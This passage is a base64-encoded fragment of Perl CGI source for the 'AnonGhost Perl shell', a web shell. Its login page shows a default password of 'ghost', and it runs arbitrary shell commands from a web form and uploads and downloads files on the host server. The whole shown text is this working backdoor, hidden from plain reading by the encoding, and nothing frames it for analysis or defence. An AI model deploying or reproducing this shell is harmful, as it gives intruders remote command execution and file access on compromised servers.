9IjAiIG1hcmdpbmhlaWdodD0iMCIgdGV4dD0iI0ZGMDAwMCI+DQo8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iMTAwJSIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIyIj4NCjx0cj4NCjx0ZCBiZ2NvbG9yPSIjRkZGRkZGIiBib3JkZXJjb2xvcj0iI0ZGRkZGRiIgYWxpZ249ImNlbnRlciIgd2lkdGg9IjElIj4NCjxiPjxmb250IHNpemU9IjIiPiM8L2ZvbnQ+PC9iPjwvdGQ+DQo8dGQgYmdjb2xvcj0iI0ZGRkZGRiIgd2lkdGg9Ijk4JSI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+PGI+IA0KPGIgc3R5bGU9ImNvbG9yOmJsYWNrO2JhY2tncm91bmQtY29sb3I6I2ZmZmY2NiI+QW5vbkdob3N0IFBlcmwgc2hlbGw8L2I+IENvbm5lY3RlZCB0byAkU2VydmVyTmFtZTwvYj48L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgY29sc3Bhbj0iMiIgYmdjb2xvcj0iI0ZGRkZGRiI+PGZvbnQgZmFjZT0iVmVyZGFuYSIgc2l6ZT0iMiI+DQoNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXVwbG9hZCZkPSRFbmNvZGVkQ3VycmVudERpciI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPlVwbG9hZCBGaWxlPC9mb250PjwvYT4gfCANCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkJmQ9JEVuY29kZWRDdXJyZW50RGlyIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+RG93bmxvYWQgRmlsZTwvZm9udD48L2E+IHwNCjxhIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWxvZ291dCI+PGZvbnQgY29sb3I9IiNGRjAwMDAiPkRpc2Nvbm5lY3Q8L2ZvbnQ+PC9hPiB8DQo8L2ZvbnQ+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPg0KPGZvbnQgc2l6ZT0iMyI+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIExvZ2luIFNjcmVlbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5TY3JlZW4NCnsNCgkkTWVzc2FnZSA9IHEkPHByZT48aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vaW1nODEwLmltYWdlc2hhY2sudXMvaW1nODEwLzgwNDMvQW5vbkdob3N0MTIucG5nIj48L3ByZT48YnI+PGJyPjwvZm9udD48aDE+RGVmYXVsdCBQYXNzd29yZD1naG9zdDwvaDE+DQokOw0KIycNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQpUcnlpbmcgJFNlcnZlck5hbWUuLi48YnI+DQpDb25uZWN0ZWQgdG8gJFNlcnZlck5hbWU8YnI+DQpFc2NhcGUgY2hhcmFjdGVyIGlzIF5dDQo8Y29kZT4kTWVzc2FnZQ0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBtZXNzYWdlIHRoYXQgaW5mb3JtcyB0aGUgdXNlciBvZiBhIGZhaWxlZCBsb2dpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50TG9naW5GYWlsZWRNZXNzYWdlDQp7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxicj5sb2dpbjogYWRtaW48YnI+DQpwYXNzd29yZDo8YnI+DQpMb2dpbiBpbmNvcnJlY3Q8YnI+PGJyPg0KPC9jb2RlPg0KRU5EDQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gZm9yIGxvZ2dpbmcgaW4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludExvZ2luRm9ybQ0Kew0KCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImxvZ2luIj4NCjwvZm9udD4NCjxmb250IHNpemU9IjMiPg0KbG9naW46IDxiIHN0eWxlPSJjb2xvcjpibGFjaztiYWNrZ3JvdW5kLWNvbG9yOiNmZmZmNjYiPkFub25HaG9zdCBQZXJsIHNoZWxsPC9iPjxicj4NCnBhc3N3b3JkOjwvZm9udD48Zm9udCBjb2xvcj0iIzAwOTkwMCIgc2l6ZT0iMyI+PGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQpFTkQNCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIGZvb3RlciBmb3IgdGhlIEhUTUwgUGFnZQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50UGFnZUZvb3Rlcg0Kew0KCXByaW50ICI8L2ZvbnQ+PC9ib2R5PjwvaHRtbD4iOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFJldHJlaXZlcyB0aGUgdmFsdWVzIG9mIGFsbCBjb29raWVzLiBUaGUgY29va2llcyBjYW4gYmUgYWNjZXNzZXMgdXNpbmcgdGhlDQojIHZhcmlhYmxlICRDb29raWVzeycnfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEdldENvb2tpZXMNCnsNCglAaHR0cGNvb2tpZXMgPSBzcGxpdCgvOyAvLCRFTlZ7J0hUVFBfQ09PS0lFJ30pOw0KCWZvcmVhY2ggJGNvb2tpZShAaHR0cGNvb2tpZXMpDQoJew0KCQkoJGlkLCAkdmFsKSA9IHNwbGl0KC89LywgJGNvb2tpZSk7DQoJCSRDb29raWVzeyRpZH0gPSAkdmFsOw0KCX0NCn0NCg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBQcmludHMgdGhlIHNjcmVlbiB3aGVuIHRoZSB1c2VyIGxvZ3Mgb3V0DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRMb2dvdXRTY3JlZW4NCnsNCglwcmludCAiPGNvZGU+Q29ubmVjdGlvbiBjbG9zZWQgYnkgZm9yZWlnbiBob3N0Ljxicj48YnI+PC9jb2RlPiI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgTG9ncyBvdXQgdGhlIHVzZXIgYW5kIGFsbG93cyB0aGUgdXNlciB0byBsb2dpbiBhZ2Fpbg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFBlcmZvcm1Mb2dvdXQNCnsNCglwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9O1xuIjsgIyByZW1vdmUgcGFzc3dvcmQgY29va2llDQoJJlByaW50UGFnZUhlYWRlcigicCIpOw0KCSZQcmludExvZ291dFNjcmVlbjsNCg0KCSZQcmludExvZ2luU2NyZWVuOw0KCSZQcmludExvZ2luRm9ybTsNCgkmUHJpbnRQYWdlRm9vdGVyOw0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGxvZ2luIHRoZSB1c2VyLiBJZiB0aGUgcGFzc3dvcmQgbWF0Y2hlcywgaXQNCiMgZGlzcGxheXMgYSBwYWdlIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHJ1biBjb21tYW5kcy4gSWYgdGhlIHBhc3N3b3JkIGRvZW5zJ3QNCiMgbWF0Y2ggb3IgaWYgbm8gcGFzc3dvcmQgaXMgZW50ZXJlZCwgaXQgZGlzcGxheXMgYSBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyDQojIHRvIGxvZ2luDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUGVyZm9ybUxvZ2luIA0Kew0KCWlmKCRMb2dpblBhc3N3b3JkIGVxICRQYXNzd29yZCkgIyBwYXNzd29yZCBtYXRjaGVkDQoJew0KCQlwcmludCAiU2V0LUNvb2tpZTogU0FWRURQV0Q9JExvZ2luUGFzc3dvcmQ7XG4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCQkmUHJpbnRQYWdlRm9vdGVyOw0KCX0NCgllbHNlICMgcGFzc3dvcmQgZGlkbid0IG1hdGNoDQoJew0KCQkmUHJpbnRQYWdlSGVhZGVyKCJwIik7DQoJCSZQcmludExvZ2luU2NyZWVuOw0KCQlpZigkTG9naW5QYXNzd29yZCBuZSAiIikgIyBzb21lIHBhc3N3b3JkIHdhcyBlbnRlcmVkDQoJCXsNCgkJCSZQcmludExvZ2luRmFpbGVkTWVzc2FnZTsNCg0KCQl9DQoJCSZQcmludExvZ2luRm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgUHJpbnRzIHRoZSBIVE1MIGZvcm0gdGhhdCBhbGxvd3MgdGhlIHVzZXIgdG8gZW50ZXIgY29tbWFuZHMNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImNvbW1hbmQiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCiRQcm9tcHQNCjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjIj4NCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFbnRlciI+DQo8L2Zvcm0+DQo8L2NvZGU+DQoNCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIGRvd25sb2FkIGZpbGVzDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnRGaWxlRG93bmxvYWRGb3JtDQp7DQoJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJcHJpbnQgPDxFTkQ7DQo8Y29kZT4NCjxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImEiIHZhbHVlPSJkb3dubG9hZCI+DQokUHJvbXB0IGRvd25sb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpEb3dubG9hZDogPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFByaW50cyB0aGUgSFRNTCBmb3JtIHRoYXQgYWxsb3dzIHRoZSB1c2VyIHRvIHVwbG9hZCBmaWxlcw0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFByaW50RmlsZVVwbG9hZEZvcm0NCnsNCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRDdXJyZW50RGlyPiAiIDogIlthZG1pblxAJFNlcnZlck5hbWUgJEN1cnJlbnREaXJdXCQgIjsNCglwcmludCA8PEVORDsNCjxjb2RlPg0KDQo8Zm9ybSBuYW1lPSJmIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCiRQcm9tcHQgdXBsb2FkPGJyPjxicj4NCkZpbGVuYW1lOiA8aW5wdXQgdHlwZT0iZmlsZSIgbmFtZT0iZiIgc2l6ZT0iMzUiPjxicj48YnI+DQpPcHRpb25zOiAmbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Im8iIHZhbHVlPSJvdmVyd3JpdGUiPg0KT3ZlcndyaXRlIGlmIGl0IEV4aXN0czxicj48YnI+DQpVcGxvYWQ6Jm5ic3A7Jm5ic3A7Jm5ic3A7PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkJlZ2luIj4NCjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImQiIHZhbHVlPSIkQ3VycmVudERpciI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0idXBsb2FkIj4NCjwvZm9ybT4NCjwvY29kZT4NCkVORA0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHdoZW4gdGhlIHRpbWVvdXQgZm9yIGEgY29tbWFuZCBleHBpcmVzLiBXZSBuZWVkIHRvDQojIHRlcm1pbmF0ZSB0aGUgc2NyaXB0IGltbWVkaWF0ZWx5LiBUaGlzIGZ1bmN0aW9uIGlzIHZhbGlkIG9ubHkgb24gVW5peC4gSXQgaXMNCiMgbmV2ZXIgY2FsbGVkIHdoZW4gdGhlIHNjcmlwdCBpcyBydW5uaW5nIG9uIE5ULg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIENvbW1hbmRUaW1lb3V0DQp7DQoJaWYoISRXaW5OVCkNCgl7DQoJCWFsYXJtKDApOw0KCQlwcmludCA8PEVORDsNCjwveG1wPg0KDQo8Y29kZT4NCkNvbW1hbmQgZXhjZWVkZWQgbWF4aW11bSB0aW1lIG9mICRDb21tYW5kVGltZW91dER1cmF0aW9uIHNlY29uZChzKS4NCjxicj5LaWxsZWQgaXQhDQpFTkQNCgkJJlByaW50Q29tbWFuZExpbmVJbnB1dEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJCWV4aXQ7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gaXMgY2FsbGVkIHRvIGV4ZWN1dGUgY29tbWFuZHMuIEl0IGRpc3BsYXlzIHRoZSBvdXRwdXQgb2YgdGhlDQojIGNvbW1hbmQgYW5kIGFsbG93cyB0aGUgdXNlciB0byBlbnRlciBhbm90aGVyIGNvbW1hbmQuIFRoZSBjaGFuZ2UgZGlyZWN0b3J5DQojIGNvbW1hbmQgaXMgaGFuZGxlZCBkaWZmZXJlbnRseS4gSW4gdGhpcyBjYXNlLCB0aGUgbmV3IGRpcmVjdG9yeSBpcyBzdG9yZWQgaW4NCiMgYW4gaW50ZXJuYWwgdmFyaWFibGUgYW5kIGlzIHVzZWQgZWFjaCB0aW1lIGEgY29tbWFuZCBoYXMgdG8gYmUgZXhlY3V0ZWQuIFRoZQ0KIyBvdXRwdXQgb2YgdGhlIGNoYW5nZSBkaXJlY3RvcnkgY29tbWFuZCBpcyBub3QgZGlzcGxheWVkIHRvIHRoZSB1c2Vycw0KIyB0aGVyZWZvcmUgZXJyb3IgbWVzc2FnZXMgY2Fubm90IGJlIGRpc3BsYXllZC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBFeGVjdXRlQ29tbWFuZA0Kew0KCWlmKCRSdW5Db21tYW5kID1+IG0vXlxzKmNkXHMrKC4rKS8pICMgaXQgaXMgYSBjaGFuZ2UgZGlyIGNvbW1hbmQNCgl7DQoJCSMgd2UgY2hhbmdlIHRoZSBkaXJlY3RvcnkgaW50ZXJuYWxseS4gVGhlIG91dHB1dCBvZiB0aGUNCgkJIyBjb21tYW5kIGlzIG5vdCBkaXNwbGF5ZWQuDQoJCQ0KCQkkT2xkRGlyID0gJEN1cnJlbnREaXI7DQoJCSRDb21tYW5kID0gImNkIFwiJEN1cnJlbnREaXJcIiIuJENtZFNlcC4iY2QgJDEiLiRDbWRTZXAuJENtZFB3ZDsNCgkJY2hvcCgkQ3VycmVudERpciA9IGAkQ29tbWFuZGApOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCSRQcm9tcHQgPSAkV2luTlQgPyAiJE9sZERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRPbGREaXJdXCQgIjsNCgkJcHJpbnQgIiRQcm9tcHQgJFJ1bkNvbW1hbmQiOw0KCX0NCgllbHNlICMgc29tZSBvdGhlciBjb21tYW5kLCBkaXNwbGF5IHRoZSBvdXRwdXQNCgl7DQoJCSZQcmludFBhZ2VIZWFkZXIoImMiKTsNCgkJJFByb21wdCA9ICRXaW5OVCA/ICIkQ3VycmVudERpcj4gIiA6ICJbYWRtaW5cQCRTZXJ2ZXJOYW1lICRDdXJyZW50RGlyXVwkICI7DQoJCXByaW50ICIkUHJvbXB0ICRSdW5Db21tYW5kPHhtcD4iOw0KCQkkQ29tbWFuZCA9ICJjZCBcIiRDdXJyZW50RGlyXCIiLiRDbWRTZXAuJFJ1bkNvbW1hbmQuJFJlZGlyZWN0b3I7DQoJCWlmKCEkV2luTlQpDQoJCXsNCgkJCSRTSUd7J0FMUk0nfSA9IFwmQ29tbWFuZFRpbWVvdXQ7DQoJCQlhbGFybSgkQ29tbWFuZFRpbWVvdXREdXJhdGlvbik7DQoJCX0NCgkJaWYoJFNob3dEeW5hbWljT3V0cHV0KSAjIHNob3cgb3V0cHV0IGFzIGl0IGlzIGdlbmVyYXRlZA0KCQl7DQoJCQkkfD0xOw0KCQkJJENvbW1hbmQgLj0gIiB8IjsNCgkJCW9wZW4oQ29tbWFuZE91dHB1dCwgJENvbW1hbmQpOw0KCQkJd2hpbGUoPENvbW1hbmRPdXRwdXQ+KQ0KCQkJew0KCQkJCSRfID1+IHMvKFxufFxyXG4pJC8vOw0KCQkJCXByaW50ICIkX1xuIjsNCgkJCX0NCgkJCSR8PTA7DQoJCX0NCgkJZWxzZSAjIHNob3cgb3V0cHV0IGFmdGVyIGNvbW1hbmQgY29tcGxldGVzDQoJCXsNCgkJCXByaW50IGAkQ29tbWFuZGA7DQoJCX0NCgkJaWYoISRXaW5OVCkNCgkJew0KCQkJYWxhcm0oMCk7DQoJCX0NCgkJcHJpbnQgIjwveG1wPiI7DQoJfQ0KCSZQcmludENvbW1hbmRMaW5lSW5wdXRGb3JtOw0KCSZQcmludFBhZ2VGb290ZXI7DQp9DQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBkaXNwbGF5cyB0aGUgcGFnZSB0aGF0IGNvbnRhaW5zIGEgbGluayB3aGljaCBhbGxvd3MgdGhlIHVzZXINCiMgdG8gZG93bmxvYWQgdGhlIHNwZWNpZmllZCBmaWxlLiBUaGUgcGFnZSBhbHNvIGNvbnRhaW5zIGEgYXV0by1yZWZyZXNoDQojIGZlYXR1cmUgdGhhdCBzdGFydHMgdGhlIGRvd25sb2FkIGF1dG9tYXRpY2FsbHkuDQojIEFyZ3VtZW50IDE6IEZ1bGx5IHF1YWxpZmllZCBmaWxlbmFtZSBvZiB0aGUgZmlsZSB0byBiZSBkb3dubG9hZGVkDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgUHJpbnREb3dubG9hZExpbmtQYWdlDQp7DQoJbG9jYWwoJEZpbGVVcmwpID0gQF87DQoJaWYoLWUgJEZpbGVVcmwpICMgaWYgdGhlIGZpbGUgZXhpc3RzDQoJew0KCQkjIGVuY29kZSB0aGUgZmlsZSBsaW5rIHNvIHdlIGNhbiBzZW5kIGl0IHRvIHRoZSBicm93c2VyDQoJCSRGaWxlVXJsID1+IHMvKFteYS16QS1aMC05XSkvJyUnLnVucGFjaygiSCoiLCQxKS9lZzsNCgkJJERvd25sb2FkTGluayA9ICIkU2NyaXB0TG9jYXRpb24/YT1kb3dubG9hZCZmPSRGaWxlVXJsJm89Z28iOw0KCQkkSHRtbE1ldGFIZWFkZXIgPSAiPG1ldGEgSFRUUC1FUVVJVj1cIlJlZnJlc2hcIiBDT05URU5UPVwiMTsgVVJMPSREb3dubG9hZExpbmtcIj4iOw0KCQkmUHJpbnRQYWdlSGVhZGVyKCJjIik7DQoJCXByaW50IDw8RU5EOw0KPGNvZGU+DQoNClNlbmRpbmcgRmlsZSAkVHJhbnNmZXJGaWxlLi4uPGJyPg0KSWYgdGhlIGRvd25sb2FkIGRvZXMgbm90IHN0YXJ0IGF1dG9tYXRpY2FsbHksDQo8YSBocmVmPSIkRG93bmxvYWRMaW5rIj5DbGljayBIZXJlPC9hPi4NCkVORA0KCQkmUHJpbnRDb21tYW5kTGluZUlucHV0Rm9ybTsNCgkJJlByaW50UGFnZUZvb3RlcjsNCgl9DQoJZWxzZSAjIGZpbGUgZG9lc24ndCBleGlzdA0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRGaWxlVXJsOiAkISI7DQoJCSZQcmludEZpbGVEb3dubG9hZEZvcm07DQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIFRoaXMgZnVuY3Rpb24gcmVhZHMgdGhlIHNwZWNpZmllZCBmaWxlIGZyb20gdGhlIGRpc2sgYW5kIHNlbmRzIGl0IHRvIHRoZQ0KIyBicm93c2VyLCBzbyB0aGF0IGl0IGNhbiBiZSBkb3dubG9hZGVkIGJ5IHRoZSB1c2VyLg0KIyBBcmd1bWVudCAxOiBGdWxseSBxdWFsaWZpZWQgcGF0aG5hbWUgb2YgdGhlIGZpbGUgdG8gYmUgc2VudC4NCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCnN1YiBTZW5kRmlsZVRvQnJvd3Nlcg0Kew0KCWxvY2FsKCRTZW5kRmlsZSkgPSBAXzsNCglpZihvcGVuKFNFTkRGSUxFLCAkU2VuZEZpbGUpKSAjIGZpbGUgb3BlbmVkIGZvciByZWFkaW5nDQoJew0KCQlpZigkV2luTlQpDQoJCXsNCgkJCWJpbm1vZGUoU0VOREZJTEUpOw0KCQkJYmlubW9kZShTVERPVVQpOw0KCQl9DQoJCSRGaWxlU2l6ZSA9IChzdGF0KCRTZW5kRmlsZSkpWzddOw0KCQkoJEZpbGVuYW1lID0gJFNlbmRGaWxlKSA9fiAgbSEoW14vXlxcXSopJCE7DQoJCXByaW50ICJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtdW5rbm93blxuIjsNCgkJcHJpbnQgIkNvbnRlbnQtTGVuZ3RoOiAkRmlsZVNpemVcbiI7DQoJCXByaW50ICJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0kMVxuXG4iOw0KCQlwcmludCB3aGlsZSg8U0VOREZJTEU+KTsNCgkJY2xvc2UoU0VOREZJTEUpOw0KCX0NCgllbHNlICMgZmFpbGVkIHRvIG9wZW4gZmlsZQ0KCXsNCgkJJlByaW50UGFnZUhlYWRlcigiZiIpOw0KCQlwcmludCAiRmFpbGVkIHRvIGRvd25sb2FkICRTZW5kRmlsZTogJCEiOw0KCQkmUHJpbnRGaWxlRG93bmxvYWRGb3JtOw0KDQoJCSZQcmludFBhZ2VGb290ZXI7DQoJfQ0KfQ0KDQoNCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCiMgVGhpcyBmdW5jdGlvbiBpcyBjYWxsZWQgd2hlbiB0aGUgdXNlciBkb3dubG9hZHMgYSBmaWxlLiBJdCBkaXNwbGF5cyBhIG1lc3NhZ2UNCiMgdG8gdGhlIHVzZXIgYW5kIHByb3ZpZGVzIGEgbGluayB0aHJvdWdoIHdoaWNoIHRoZSBmaWxlIGNhbiBiZSBkb3dubG9h